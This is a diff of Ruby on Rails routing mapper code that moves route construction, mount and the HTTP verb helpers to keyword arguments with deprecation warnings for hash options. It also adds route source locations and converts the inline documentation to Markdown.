         def make_route(name, precedence)
-          route = Journey::Route.new(name,
-                            application,
-                            path,
-                            conditions,
-                            required_defaults,
-                            defaults,
-                            request_method,
-                            precedence,
-                            @internal)
-
-          route
+          Journey::Route.new(name: name, app: application, path: path, constraints: conditions,
+                             required_defaults: required_defaults, defaults: defaults,
+                             via: @via, precedence: precedence,
+                             scope_options: scope_options, internal: @internal, source_location: route_source_location)
         end
 
         def application
           app(@blocks)
         end
 
-        def path
-          build_path @ast, requirements, @anchor
-        end
-
         def conditions
           build_conditions @conditions, @set.request_class
         end
@@ -179,53 +204,9 @@ def build_conditions(current_conditions, request_class)
         end
         private :build_conditions
 
-        def request_method
-          @via.map { |x| Journey::Route.verb_matcher(x) }
-        end
-        private :request_method
-
-        JOINED_SEPARATORS = SEPARATORS.join # :nodoc:
-
-        def build_path(ast, requirements, anchor)
-          pattern = Journey::Path::Pattern.new(ast, requirements, JOINED_SEPARATORS, anchor)
-
-          # Find all the symbol nodes that are adjacent to literal nodes and alter
-          # the regexp so that Journey will partition them into custom routes.
-          ast.find_all { |node|
-            next unless node.cat?
-
-            if node.left.literal? && node.right.symbol?
-              symbol = node.right
-            elsif node.left.literal? && node.right.cat? && node.right.left.symbol?
-              symbol = node.right.left
-            elsif node.left.symbol? && node.right.literal?
-              symbol = node.left
-            elsif node.left.symbol? && node.right.cat? && node.right.left.literal?
-              symbol = node.left
-            else
-              next
-            end
-
-            if symbol
-              symbol.regexp = /(?:#{Regexp.union(symbol.regexp, '-')})+/
-            end
-          }
-
-          pattern
-        end
-        private :build_path
-
         private
-          def add_wildcard_options(options, formatted, path_ast)
-            # Add a constraint for wildcard route to make it non-greedy and match the
-            # optional format part of the route by default
-            if formatted != false
-              path_ast.grep(Journey::Nodes::Star).each_with_object({}) { |node, hash|
-                hash[node.name.to_sym] ||= /.+?/
-              }.merge options
-            else
-              options
-            end
+          def intern(object)
+            object.is_a?(String) ? -object : object
           end
 
           def normalize_options!(options, path_params, modyoule)
@@ -235,16 +216,28 @@ def normalize_options!(options, path_params, modyoule)
               # Add a default constraint for :controller path segments that matches namespaced
               # controllers with default routes like :controller/:action/:id(.:format), e.g:
               # GET /admin/products/show/1
-              # => { controller: 'admin/products', action: 'show', id: '1' }
+              # # > { controller: 'admin/products', action: 'show', id: '1' }
               options[:controller] ||= /.+?/
             end
 
             if to.respond_to?(:action) || to.respond_to?(:call)
               options
             else
-              to_endpoint = split_to to
-              controller  = to_endpoint[0] || default_controller
-              action      = to_endpoint[1] || default_action
+              if to.nil?
+                controller = default_controller
+                action = default_action
+              elsif to.is_a?(String)
+                if to.include?("#")
+                  to_endpoint = to.split("#").map!(&:-@)
+                  controller  = to_endpoint[0]
+                  action      = to_endpoint[1]
+                else
+                  controller = default_controller
+                  action = to
+                end
+              else
+                raise ArgumentError, ":to must respond to `action` or `call`, or it must be a String that includes '#', or the controller should be implicit"
+              end
 
               controller = add_controller_module(controller, modyoule)
 
@@ -274,14 +267,18 @@ def normalize_format(formatted)
             end
           end
 
-          def verify_regexp_requirements(requirements)
-            requirements.each do |requirement|
-              if requirement.source =~ ANCHOR_CHARACTERS_REGEX
+          def verify_regexp_requirements(requirements, wildcard_options)
+            requirements.each do |requirement, regex|
+              next unless regex.is_a? Regexp
+
+              if ANCHOR_CHARACTERS_REGEX.match?(regex.source)
                 raise ArgumentError, "Regexp anchor characters are not allowed in routing requirements: #{requirement.inspect}"
               end
 
-              if requirement.multiline?
-                raise ArgumentError, "Regexp multiline option is not allowed in routing requirements: #{requirement.inspect}"
+              if regex.multiline?
+                next if wildcard_options.key?(requirement)
+
+                raise ArgumentError, "Regexp multiline option is not allowed in routing requirements: #{regex.inspect}"
               end
             end
           end
@@ -305,8 +302,8 @@ def app(blocks)
           def check_controller_and_action(path_params, controller, action)
             hash = check_part(:controller, controller, path_params, {}) do |part|
               translate_controller(part) {
-                message = "'#{part}' is not a supported controller name. This can lead to potential routing problems."
-                message << " See http://guides.rubyonrails.org/routing.html#specifying-a-controller-to-use"
+                message = +"'#{part}' is not a supported controller name. This can lead to potential routing problems."
+                message << " See https://guides.rubyonrails.org/routing.html#specifying-a-controller-to-use"
 
                 raise ArgumentError, message
               }
@@ -329,20 +326,12 @@ def check_part(name, part, path_params, hash)
             hash
           end
 
-          def split_to(to)
-            if to =~ /#/
-              to.split("#")
-            else
-              []
-            end
-          end
-
           def add_controller_module(controller, modyoule)
             if modyoule && !controller.is_a?(Regexp)
-              if controller =~ %r{\A/}
-                controller[1..-1]
+              if controller&.start_with?("/")
+                -controller[1..-1]
               else
-                [modyoule, controller].compact.join("/")
+                -[modyoule, controller].compact.join("/")
               end
             else
               controller
@@ -351,7 +340,7 @@ def add_controller_module(controller, modyoule)
 
           def translate_controller(controller)
             return controller if Regexp === controller
-            return controller.to_s if controller =~ /\A[a-z_0-9][a-z_0-9\/]*\z/
+            return controller.to_s if /\A[a-z_0-9][a-z_0-9\/]*\z/.match?(controller)
 
             yield
           end
@@ -380,14 +369,38 @@ def constraints(options, path_params)
           def dispatcher(raise_on_name_error)
             Routing::RouteSet::Dispatcher.new raise_on_name_error
           end
+
+          def route_source_location
+            if Mapper.route_source_locations
+              action_dispatch_dir = File.expand_path("..", __dir__)
+              Thread.each_caller_location do |location|
+                next if location.path.start_with?(action_dispatch_dir)
+
+                cleaned_path = Mapper.backtrace_cleaner.clean_frame(location.path)
+                next if cleaned_path.nil?
+
+                return "#{cleaned_path}:#{location.lineno}"
+              end
+              nil
+            end
+          end
       end
 
-      # Invokes Journey::Router::Utils.normalize_path and ensure that
-      # (:locale) becomes (/:locale) instead of /(:locale). Except
-      # for root cases, where the latter is the correct one.
+      # Invokes Journey::Router::Utils.normalize_path, then ensures that /(:locale)
+      # becomes (/:locale). Except for root cases, where the former is the correct
+      # one.
       def self.normalize_path(path)
         path = Journey::Router::Utils.normalize_path(path)
-        path.gsub!(%r{/(\(+)/?}, '\1/') unless path =~ %r{^/\(+[^)]+\)$}
+
+        # the path for a root URL at this point can be something like
+        # "/(/:locale)(/:platform)/(:browser)", and we would want
+        # "/(:locale)(/:platform)(/:browser)" reverse "/(", "/((" etc to "(/", "((/" etc
+        path.gsub!(%r{/(\(+)/?}, '\1/')
+        # if a path is all optional segments, change the leading "(/" back to "/(" so it
+        # evaluates to "/" when interpreted with no options. Unless, however, at least
+        # one secondary segment consists of a static part, ex.
+        # "(/:locale)(/pages/:page)"
+        path.sub!(%r{^(\(+)/}, '/\1') if %r{^(\(+[^)]+\))(\(+/:[^)]+\))*$}.match?(path)
         path
       end
 
@@ -396,209 +409,225 @@ def self.normalize_name(name)
       end
 
       module Base
-        # Matches a url pattern to one or more routes.
+        # Matches a URL pattern to one or more routes.
         #
-        # You should not use the +match+ method in your router
-        # without specifying an HTTP method.
+        # You should not use the `match` method in your router without specifying an
+        # HTTP method.
         #
         # If you want to expose your action to both GET and POST, use:
         #
-        #   # sets :controller, :action and :id in params
-        #   match ':controller/:action/:id', via: [:get, :post]
+        #     # sets :controller, :action, and :id in params
+        #     match ':controller/:action/:id', via: [:get, :post]
         #
-        # Note that +:controller+, +:action+ and +:id+ are interpreted as url
-        # query parameters and thus available through +params+ in an action.
+        # Note that `:controller`, `:action`, and `:id` are interpreted as URL query
+        # parameters and thus available through `params` in an action.
         #
-        # If you want to expose your action to GET, use +get+ in the router:
+        # If you want to expose your action to GET, use `get` in the router:
         #
         # Instead of:
         #
-        #   match ":controller/:action/:id"
+        #     match ":controller/:action/:id"
         #
         # Do:
         #
-        #   get ":controller/:action/:id"
+        #     get ":controller/:action/:id"
         #
-        # Two of these symbols are special, +:controller+ maps to the controller
-        # and +:action+ to the controller's action. A pattern can also map
-        # wildcard segments (globs) to params:
+        # Two of these symbols are special, `:controller` maps to the controller and
+        # `:action` to the controller's action. A pattern can also map wildcard segments
+        # (globs) to params:
         #
-        #   get 'songs/*category/:title', to: 'songs#show'
+        #     get 'songs/*category/:title', to: 'songs#show'
         #
-        #   # 'songs/rock/classic/stairway-to-heaven' sets
-        #   #  params[:category] = 'rock/classic'
-        #   #  params[:title] = 'stairway-to-heaven'
+        #     # 'songs/rock/classic/stairway-to-heaven' sets
+        #     #  params[:category] = 'rock/classic'
+        #     #  params[:title] = 'stairway-to-heaven'
         #
-        # To match a wildcard parameter, it must have a name assigned to it.
-        # Without a variable name to attach the glob parameter to, the route
-        # can't be parsed.
+        # To match a wildcard parameter, it must have a name assigned to it. Without a
+        # variable name to attach the glob parameter to, the route can't be parsed.
         #
-        # When a pattern points to an internal route, the route's +:action+ and
-        # +:controller+ should be set in options or hash shorthand. Examples:
+        # When a pattern points to an internal route, the route's `:action` and
+        # `:controller` should be set in options or hash shorthand. Examples:
         #
-        #   match 'photos/:id' => 'photos#show', via: :get
-        #   match 'photos/:id', to: 'photos#show', via: :get
-        #   match 'photos/:id', controller: 'photos', action: 'show', via: :get
+        #     match 'photos/:id', to: 'photos#show', via: :get
+        #     match 'photos/:id', controller: 'photos', action: 'show', via: :get
         #
-        # A pattern can also point to a +Rack+ endpoint i.e. anything that
-        # responds to +call+:
+        # A pattern can also point to a `Rack` endpoint i.e. anything that responds to
+        # `call`:
         #
-        #   match 'photos/:id', to: -> (hash) { [200, {}, ["Coming soon"]] }, via: :get
-        #   match 'photos/:id', to: PhotoRackApp, via: :get
-        #   # Yes, controller actions are just rack endpoints
-        #   match 'photos/:id', to: PhotosController.action(:show), via: :get
+        #     match 'photos/:id', to: -> (hash) { [200, {}, ["Coming soon"]] }, via: :get
+        #     match 'photos/:id', to: PhotoRackApp, via: :get
+        #     # Yes, controller actions are just rack endpoints
+        #     match 'photos/:id', to: PhotosController.action(:show), via: :get
         #
         # Because requesting various HTTP verbs with a single action has security
-        # implications, you must either specify the actions in
-        # the via options or use one of the HttpHelpers[rdoc-ref:HttpHelpers]
-        # instead +match+
+        # implications, you must either specify the actions in the via options or use
+        # one of the [HttpHelpers](rdoc-ref:HttpHelpers) instead `match`
         #
-        # === Options
+        # ### Options
         #
-        # Any options not seen here are passed on as params with the url.
+        # Any options not seen here are passed on as params with the URL.
         #
-        # [:controller]
-        #   The route's controller.
+        # :controller
+        # :   The route's controller.
         #
-        # [:action]
-        #   The route's action.
+        # :action
+        # :   The route's action.
         #
-        # [:param]
-        #   Overrides the default resource identifier +:id+ (name of the
-        #   dynamic segment used to generate the routes).
-        #   You can access that segment from your controller using
-        #   <tt>params[<:param>]</tt>.
-        #   In your router:
+        # :param
+        # :   Overrides the default resource identifier `:id` (name of the dynamic
+        #     segment used to generate the routes). You can access that segment from
+        #     your controller using `params[<:param>]`. In your router:
         #
-        #      resources :user, param: :name
+        #         resources :users, param: :name
         #
-        #   You can override <tt>ActiveRecord::Base#to_param</tt> of a related
-        #   model to construct a URL:
+        #     The `users` resource here will have the following routes generated for it:
         #
-        #      class User < ActiveRecord::Base
-        #        def to_param
-        #          name
-        #        end
-        #      end
+        #         GET       /users(.:format)
+        #         POST      /users(.:format)
+        #         GET       /users/new(.:format)
+        #         GET       /users/:name/edit(.:format)
+        #         GET       /users/:name(.:format)
+        #         PATCH/PUT /users/:name(.:format)
+        #         DELETE    /users/:name(.:format)
         #
-        #   user = User.find_by(name: 'Phusion')
-        #   user_path(user)  # => "/users/Phusion"
+        #     You can override `ActiveRecord::Base#to_param` of a related model to
+        #     construct a URL:
         #
-        # [:path]
-        #   The path prefix for the routes.
+        #         class User < ActiveRecord::Base
+        #           def to_param
+        #             name
+        #           end
+        #         end
         #
-        # [:module]
-        #   The namespace for :controller.
+        #         user = User.find_by(name: 'Phusion')
+        #         user_path(user)  # => "/users/Phusion"
         #
-        #     match 'path', to: 'c#a', module: 'sekret', controller: 'posts', via: :get
-        #     # => Sekret::PostsController
+        # :path
+        # :   The path prefix for the routes.
         #
-        #   See <tt>Scoping#namespace</tt> for its scope equivalent.
+        # :module
+        # :   The namespace for :controller.
         #
-        # [:as]
-        #   The name used to generate routing helpers.
+        #         match 'path', to: 'c#a', module: 'sekret', controller: 'posts', via: :get
+        #         # => Sekret::PostsController
         #
-        # [:via]
-        #   Allowed HTTP verb(s) for route.
+        #     See `Scoping#namespace` for its scope equivalent.
         #
-        #      match 'path', to: 'c#a', via: :get
-        #      match 'path', to: 'c#a', via: [:get, :post]
-        #      match 'path', to: 'c#a', via: :all
+        # :as
+        # :   The name used to generate routing helpers.
         #
-        # [:to]
-        #   Points to a +Rack+ endpoint. Can be an object that responds to
-        #   +call+ or a string representing a controller's action.
+        # :via
+        # :   Allowed HTTP verb(s) for route.
         #
-        #      match 'path', to: 'controller#action', via: :get
-        #      match 'path', to: -> (env) { [200, {}, ["Success!"]] }, via: :get
-        #      match 'path', to: RackApp, via: :get
+        #         match 'path', to: 'c#a', via: :get
+        #         match 'path', to: 'c#a', via: [:get, :post]
+        #         match 'path', to: 'c#a', via: :all
         #
-        # [:on]
-        #   Shorthand for wrapping routes in a specific RESTful context. Valid
-        #   values are +:member+, +:collection+, and +:new+. Only use within
-        #   <tt>resource(s)</tt> block. For example:
+        # :to
+        # :   Points to a `Rack` endpoint. Can be an object that responds to `call` or a
+        #     string representing a controller's action.
         #
-        #      resource :bar do
-        #        match 'foo', to: 'c#a', on: :member, via: [:get, :post]
-        #      end
+        #         match 'path', to: 'controller#action', via: :get
+        #         match 'path', to: -> (env) { [200, {}, ["Success!"]] }, via: :get
+        #         match 'path', to: RackApp, via: :get
         #
-        #   Is equivalent to:
+        # :on
+        # :   Shorthand for wrapping routes in a specific RESTful context. Valid values
+        #     are `:member`, `:collection`, and `:new`. Only use within `resource(s)`
+        #     block. For example:
         #
-        #      resource :bar do
-        #        member do
-        #          match 'foo', to: 'c#a', via: [:get, :post]
-        #        end
-        #      end
+        #         resource :bar do
+        #           match 'foo', to: 'c#a', on: :member, via: [:get, :post]
+        #         end
         #
-        # [:constraints]
-        #   Constrains parameters with a hash of regular expressions
-        #   or an object that responds to <tt>matches?</tt>. In addition, constraints
-        #   other than path can also be specified with any object
-        #   that responds to <tt>===</tt> (eg. String, Array, Range, etc.).
+        #     Is equivalent to:
         #
-        #     match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }, via: :get
+        #         resource :bar do
+        #           member do
+        #             match 'foo', to: 'c#a', via: [:get, :post]
+        #           end
+        #         end
         #
-        #     match 'json_only', constraints: { format: 'json' }, via: :get
+        # :constraints
+        # :   Constrains parameters with a hash of regular expressions or an object that
+        #     responds to `matches?`. In addition, constraints other than path can also
+        #     be specified with any object that responds to `===` (e.g. String, Array,
+        #     Range, etc.).
         #
-        #     class Whitelist
-        #       def matches?(request) request.remote_ip == '1.2.3.4' end
-        #     end
-        #     match 'path', to: 'c#a', constraints: Whitelist.new, via: :get
+        #         match 'path/:id', constraints: { id: /[A-Z]\d{5}/ }, via: :get
         #
-        #   See <tt>Scoping#constraints</tt> for more examples with its scope
-        #   equivalent.
+        #         match 'json_only', constraints: { format: 'json' }, via: :get
         #
-        # [:defaults]
-        #   Sets defaults for parameters
+        #         class PermitList
+        #           def matches?(request) request.remote_ip == '1.2.3.4' end
+        #         end
+        #         match 'path', to: 'c#a', constraints: PermitList.new, via: :get
         #
-        #     # Sets params[:format] to 'jpg' by default
-        #     match 'path', to: 'c#a', defaults: { format: 'jpg' }, via: :get
+        #     See `Scoping#constraints` for more examples with its scope equivalent.
         #
-        #   See <tt>Scoping#defaults</tt> for its scope equivalent.
+        # :defaults
+        # :   Sets defaults for parameters
         #
-        # [:anchor]
-        #   Boolean to anchor a <tt>match</tt> pattern. Default is true. When set to
-        #   false, the pattern matches any request prefixed with the given path.
+        #         # Sets params[:format] to 'jpg' by default
+        #         match 'path', to: 'c#a', defaults: { format: 'jpg' }, via: :get
         #
-        #     # Matches any request starting with 'path'
-        #     match 'path', to: 'c#a', anchor: false, via: :get
+        #     See `Scoping#defaults` for its scope equivalent.
+        #
+        # :anchor
+        # :   Boolean to anchor a `match` pattern. Default is true. When set to false,
+        #     the pattern matches any request prefixed with the given path.
+        #
+        #         # Matches any request starting with 'path'
+        #         match 'path', to: 'c#a', anchor: false, via: :get
+        #
+        # :format
+        # :   Allows you to specify the default value for optional `format` segment or
+        #     disable it by supplying `false`.
         #
-        # [:format]
-        #   Allows you to specify the default value for optional +format+
-        #   segment or disable it by supplying +false+.
         def match(path, options = nil)
         end
 
         # Mount a Rack-based application to be used within the application.
         #
-        #   mount SomeRackApp, at: "some_route"
-        #
-        # Alternatively:
+        #     mount SomeRackApp, at: "some_route"
         #
-        #   mount(SomeRackApp => "some_route")
+        # For options, see `match`, as `mount` uses it internally.
         #
-        # For options, see +match+, as +mount+ uses it internally.
+        # All mounted applications come with routing helpers to access them. These are
+        # named after the class specified, so for the above example the helper is either
+        # `some_rack_app_path` or `some_rack_app_url`. To customize this helper's name,
+        # use the `:as` option:
         #
-        # All mounted applications come with routing helpers to access them.
-        # These are named after the class specified, so for the above example
-        # the helper is either +some_rack_app_path+ or +some_rack_app_url+.
-        # To customize this helper's name, use the +:as+ option:
+        #     mount(SomeRackApp, at: "some_route", as: "exciting")
         #
-        #   mount(SomeRackApp => "some_route", as: "exciting")
-        #
-        # This will generate the +exciting_path+ and +exciting_url+ helpers
-        # which can be used to navigate to this mounted app.
-        def mount(app, options = nil)
-          if options
-            path = options.delete(:at)
-          elsif Hash === app
-            options = app
-            app, path = options.find { |k, _| k.respond_to?(:call) }
-            options.delete(app) if app
+        # This will generate the `exciting_path` and `exciting_url` helpers which can be
+        # used to navigate to this mounted app.
+        def mount(app = nil, deprecated_options = nil, as: DEFAULT, via: nil, at: nil, defaults: nil, constraints: nil, anchor: false, format: false, path: nil, internal: nil, **mapping, &block)
+          if deprecated_options.is_a?(Hash)
+            as = assign_deprecated_option(deprecated_options, :as, :mount) if deprecated_options.key?(:as)
+            via ||= assign_deprecated_option(deprecated_options, :via, :mount)
+            at ||= assign_deprecated_option(deprecated_options, :at, :mount)
+            defaults ||= assign_deprecated_option(deprecated_options, :defaults, :mount)
+            constraints ||= assign_deprecated_option(deprecated_options, :constraints, :mount)
+            anchor = assign_deprecated_option(deprecated_options, :anchor, :mount) if deprecated_options.key?(:anchor)
+            format = assign_deprecated_option(deprecated_options, :format, :mount) if deprecated_options.key?(:format)
+            path ||= assign_deprecated_option(deprecated_options, :path, :mount)
+            internal ||= assign_deprecated_option(deprecated_options, :internal, :mount)
+            assign_deprecated_options(deprecated_options, mapping, :mount)
+          end
+
+          path_or_action = at
+
+          if app.nil?
+            hash_app, hash_path = mapping.find { |key, _| key.respond_to?(:call) }
+            mapping.delete(hash_app) if hash_app
+
+            app ||= hash_app
+            path_or_action ||= hash_path
           end
 
           raise ArgumentError, "A rack application must be specified" unless app.respond_to?(:call)
-          raise ArgumentError, <<-MSG.strip_heredoc unless path
+          raise ArgumentError, <<~MSG unless path_or_action
             Must be called with mount point
 
               mount SomeRackApp, at: "some_route"
@@ -607,12 +636,12 @@ def mount(app, options = nil)
           MSG
 
           rails_app = rails_app? app
-          options[:as] ||= app_name(app, rails_app)
+          as = app_name(app, rails_app) if as == DEFAULT
 
-          target_as       = name_for_action(options[:as], path)
-          options[:via] ||= :all
+          target_as = name_for_action(as, path_or_action)
+          via ||= :all
 
-          match(path, options.merge(to: app, anchor: false, format: false))
+          match(path_or_action, to: app, as:, via:, defaults:, constraints:, anchor:, format:, path:, internal:, **mapping, &block)
 
           define_generate_prefix(app, target_as) if rails_app
           self
@@ -624,17 +653,35 @@ def default_url_options=(options)
         alias_method :default_url_options, :default_url_options=
 
         def with_default_scope(scope, &block)
-          scope(scope) do
+          scope(**scope) do
             instance_exec(&block)
           end
         end
 
         # Query if the following named route was already defined.
         def has_named_route?(name)
-          @set.named_routes.key? name
+          @set.named_routes.key?(name)
         end
 
         private
+          def assign_deprecated_option(deprecated_options, key, method_name)
+            if (deprecated_value = deprecated_options.delete(key))
+              ActionDispatch.deprecator.warn(<<~MSG.squish)
+                #{method_name} received a hash argument #{key}. Please use a keyword instead. Support to hash argument will be removed in Rails 8.2.
+              MSG
+              deprecated_value
+            end
+          end
+
+          def assign_deprecated_options(deprecated_options, options, method_name)
+            deprecated_options.each do |key, value|
+              ActionDispatch.deprecator.warn(<<~MSG.squish)
+                #{method_name} received a hash argument #{key}. Please use a keyword instead. Support to hash argument will be removed in Rails 8.2.
+              MSG
+              options[key] = value
+            end
+          end
+
           def rails_app?(app)
             app.is_a?(Class) && app < Rails::Railtie
           end
@@ -651,18 +698,32 @@ def app_name(app, rails_app)
           def define_generate_prefix(app, name)
             _route = @set.named_routes.get name
             _routes = @set
-            app.routes.define_mounted_helper(name)
+            _url_helpers = @set.url_helpers
+
+            script_namer = ->(options) do
+              prefix_options = options.slice(*_route.segment_keys)
+              prefix_options[:script_name] = "" if options[:original_script_name]
+
+              if options[:_recall]
+                prefix_options.reverse_merge!(options[:_recall].slice(*_route.segment_keys))
+              end
+
+              # We must actually delete prefix segment keys to avoid passing them to next
+              # url_for.
+              _route.segment_keys.each { |k| options.delete(k) }
+              _url_helpers.public_send("#{name}_path", prefix_options)
+            end
+
+            app.routes.define_mounted_helper(name, script_namer)
+
             app.routes.extend Module.new {
               def optimize_routes_generation?; false; end
+
               define_method :find_script_name do |options|
-                if options.key? :script_name
+                if options.key?(:script_name) && options[:script_name].present?
                   super(options)
                 else
-                  prefix_options = options.slice(*_route.segment_keys)
-                  prefix_options[:relative_url_root] = "".freeze
-                  # we must actually delete prefix segment keys to avoid passing them to next url_for
-                  _route.segment_keys.each { |k| options.delete(k) }
-                  _routes.url_helpers.send("#{name}_path", prefix_options)
+                  script_namer.call(options)
                 end
               end
             }
@@ -670,142 +731,268 @@ def optimize_routes_generation?; false; end
       end
 
       module HttpHelpers
-        # Define a route that only recognizes HTTP GET.
-        # For supported arguments, see match[rdoc-ref:Base#match]
-        #
-        #   get 'bacon', to: 'food#bacon'
-        def get(*args, &block)
-          map_method(:get, args, &block)
+        # Define a route that only recognizes HTTP GET. For supported arguments, see
+        # [match](rdoc-ref:Base#match)
+        #
+        #     get 'bacon', to: 'food#bacon'
+        def get(*path_or_actions, as: DEFAULT, to: nil, controller: nil, action: nil, on: nil, defaults: nil, constraints: nil, anchor: nil, format: nil, path: nil, internal: nil, **mapping, &block)
+          if path_or_actions.grep(Hash).any? && (deprecated_options = path_or_actions.extract_options!)
+            as = assign_deprecated_option(deprecated_options, :as, :get) if deprecated_options.key?(:as)
+            to ||= assign_deprecated_option(deprecated_options, :to, :get)
+            controller ||= assign_deprecated_option(deprecated_options, :controller, :get)
+            action ||= assign_deprecated_option(deprecated_options, :action, :get)
+            on ||= assign_deprecated_option(deprecated_options, :on, :get)
+            defaults ||= assign_deprecated_option(deprecated_options, :defaults, :get)
+            constraints ||= assign_deprecated_option(deprecated_options, :constraints, :get)
+            anchor = assign_deprecated_option(deprecated_options, :anchor, :get) if deprecated_options.key?(:anchor)
+            format = assign_deprecated_option(deprecated_options, :format, :get) if deprecated_options.key?(:format)
+            path ||= assign_deprecated_option(deprecated_options, :path, :get)
+            internal ||= assign_deprecated_option(deprecated_options, :internal, :get)
+            assign_deprecated_options(deprecated_options, mapping, :get)
+          end
+
+          match(*path_or_actions, as:, to:, controller:, action:, on:, defaults:, constraints:, anchor:, format:, path:, internal:, **mapping, via: :get, &block)
+          self
         end
 
-        # Define a route that only recognizes HTTP POST.
-        # For supported arguments, see match[rdoc-ref:Base#match]
-        #
-        #   post 'bacon', to: 'food#bacon'
-        def post(*args, &block)
-          map_method(:post, args, &block)
+        # Define a route that only recognizes HTTP POST. For supported arguments, see
+        # [match](rdoc-ref:Base#match)
+        #
+        #     post 'bacon', to: 'food#bacon'
+        def post(*path_or_actions, as: DEFAULT, to: nil, controller: nil, action: nil, on: nil, defaults: nil, constraints: nil, anchor: nil, format: nil, path: nil, internal: nil, **mapping, &block)
+          if path_or_actions.grep(Hash).any? && (deprecated_options = path_or_actions.extract_options!)
+            as = assign_deprecated_option(deprecated_options, :as, :post) if deprecated_options.key?(:as)
+            to ||= assign_deprecated_option(deprecated_options, :to, :post)
+            controller ||= assign_deprecated_option(deprecated_options, :controller, :post)
+            action ||= assign_deprecated_option(deprecated_options, :action, :post)
+            on ||= assign_deprecated_option(deprecated_options, :on, :post)
+            defaults ||= assign_deprecated_option(deprecated_options, :defaults, :post)
+            constraints ||= assign_deprecated_option(deprecated_options, :constraints, :post)
+            anchor = assign_deprecated_option(deprecated_options, :anchor, :post) if deprecated_options.key?(:anchor)
+            format = assign_deprecated_option(deprecated_options, :format, :post) if deprecated_options.key?(:format)
+            path ||= assign_deprecated_option(deprecated_options, :path, :post)
+            internal ||= assign_deprecated_option(deprecated_options, :internal, :post)
+            assign_deprecated_options(deprecated_options, mapping, :post)
+          end
+
+          match(*path_or_actions, as:, to:, controller:, action:, on:, defaults:, constraints:, anchor:, format:, path:, internal:, **mapping, via: :post, &block)
+          self
         end
 
-        # Define a route that only recognizes HTTP PATCH.
-        # For supported arguments, see match[rdoc-ref:Base#match]
-        #
-        #   patch 'bacon', to: 'food#bacon'
-        def patch(*args, &block)
-          map_method(:patch, args, &block)
+        # Define a route that only recognizes HTTP PATCH. For supported arguments, see
+        # [match](rdoc-ref:Base#match)
+        #
+        #     patch 'bacon', to: 'food#bacon'
+        def patch(*path_or_actions, as: DEFAULT, to: nil, controller: nil, action: nil, on: nil, defaults: nil, constraints: nil, anchor: nil, format: nil, path: nil, internal: nil, **mapping, &block)
+          if path_or_actions.grep(Hash).any? && (deprecated_options = path_or_actions.extract_options!)
+            as = assign_deprecated_option(deprecated_options, :as, :patch) if deprecated_options.key?(:as)
+            to ||= assign_deprecated_option(deprecated_options, :to, :patch)
+            controller ||= assign_deprecated_option(deprecated_options, :controller, :patch)
+            action ||= assign_deprecated_option(deprecated_options, :action, :patch)
+            on ||= assign_deprecated_option(deprecated_options, :on, :patch)
+            defaults ||= assign_deprecated_option(deprecated_options, :defaults, :patch)
+            constraints ||= assign_deprecated_option(deprecated_options, :constraints, :patch)
+            anchor = assign_deprecated_option(deprecated_options, :anchor, :patch) if deprecated_options.key?(:anchor)
+            format = assign_deprecated_option(deprecated_options, :format, :patch) if deprecated_options.key?(:format)
+            path ||= assign_deprecated_option(deprecated_options, :path, :patch)
+            internal ||= assign_deprecated_option(deprecated_options, :internal, :patch)
+            assign_deprecated_options(deprecated_options, mapping, :patch)
+          end
+
+          match(*path_or_actions, as:, to:, controller:, action:, on:, defaults:, constraints:, anchor:, format:, path:, internal:, **mapping, via: :patch, &block)
+          self
         end
 
-        # Define a route that only recognizes HTTP PUT.
-        # For supported arguments, see match[rdoc-ref:Base#match]
-        #
-        #   put 'bacon', to: 'food#bacon'
-        def put(*args, &block)
-          map_method(:put, args, &block)
+        # Define a route that only recognizes HTTP PUT. For supported arguments, see
+        # [match](rdoc-ref:Base#match)
+        #
+        #     put 'bacon', to: 'food#bacon'
+        def put(*path_or_actions, as: DEFAULT, to: nil, controller: nil, action: nil, on: nil, defaults: nil, constraints: nil, anchor: nil, format: nil, path: nil, internal: nil, **mapping, &block)
+          if path_or_actions.grep(Hash).any? && (deprecated_options = path_or_actions.extract_options!)
+            as = assign_deprecated_option(deprecated_options, :as, :put) if deprecated_options.key?(:as)
+            to ||= assign_deprecated_option(deprecated_options, :to, :put)
+            controller ||= assign_deprecated_option(deprecated_options, :controller, :put)
+            action ||= assign_deprecated_option(deprecated_options, :action, :put)
+            on ||= assign_deprecated_option(deprecated_options, :on, :put)
+            defaults ||= assign_deprecated_option(deprecated_options, :defaults, :put)
+            constraints ||= assign_deprecated_option(deprecated_options, :constraints, :put)
+            anchor = assign_deprecated_option(deprecated_options, :anchor, :put) if deprecated_options.key?(:anchor)
+            format = assign_deprecated_option(deprecated_options, :format, :put) if deprecated_options.key?(:format)
+            path ||= assign_deprecated_option(deprecated_options, :path, :put)
+            internal ||= assign_deprecated_option(deprecated_options, :internal, :put)
+            assign_deprecated_options(deprecated_options, mapping, :put)
+          end
+
+          match(*path_or_actions, as:, to:, controller:, action:, on:, defaults:, constraints:, anchor:, format:, path:, internal:, **mapping, via: :put, &block)
+          self
         end
 
-        # Define a route that only recognizes HTTP DELETE.
-        # For supported arguments, see match[rdoc-ref:Base#match]
-        #
-        #   delete 'broccoli', to: 'food#broccoli'
-        def delete(*args, &block)
-          map_method(:delete, args, &block)
+        # Define a route that only recognizes HTTP DELETE. For supported arguments, see
+        # [match](rdoc-ref:Base#match)
+        #
+        #     delete 'broccoli', to: 'food#broccoli'
+        def delete(*path_or_actions, as: DEFAULT, to: nil, controller: nil, action: nil, on: nil, defaults: nil, constraints: nil, anchor: nil, format: nil, path: nil, internal: nil, **mapping, &block)
+          if path_or_actions.grep(Hash).any? && (deprecated_options = path_or_actions.extract_options!)
+            as = assign_deprecated_option(deprecated_options, :as, :delete) if deprecated_options.key?(:as)
+            to ||= assign_deprecated_option(deprecated_options, :to, :delete)
+            controller ||= assign_deprecated_option(deprecated_options, :controller, :delete)
+            action ||= assign_deprecated_option(deprecated_options, :action, :delete)
+            on ||= assign_deprecated_option(deprecated_options, :on, :delete)
+            defaults ||= assign_deprecated_option(deprecated_options, :defaults, :delete)
+            constraints ||= assign_deprecated_option(deprecated_options, :constraints, :delete)
+            anchor = assign_deprecated_option(deprecated_options, :anchor, :delete) if deprecated_options.key?(:anchor)
+            format = assign_deprecated_option(deprecated_options, :format, :delete) if deprecated_options.key?(:format)
+            path ||= assign_deprecated_option(deprecated_options, :path, :delete)
+            internal ||= assign_deprecated_option(deprecated_options, :internal, :delete)
+            assign_deprecated_options(deprecated_options, mapping, :delete)
+          end
+
+          match(*path_or_actions, as:, to:, controller:, action:, on:, defaults:, constraints:, anchor:, format:, path:, internal:, **mapping, via: :delete, &block)
+          self
         end
 
-        private
-          def map_method(method, args, &block)
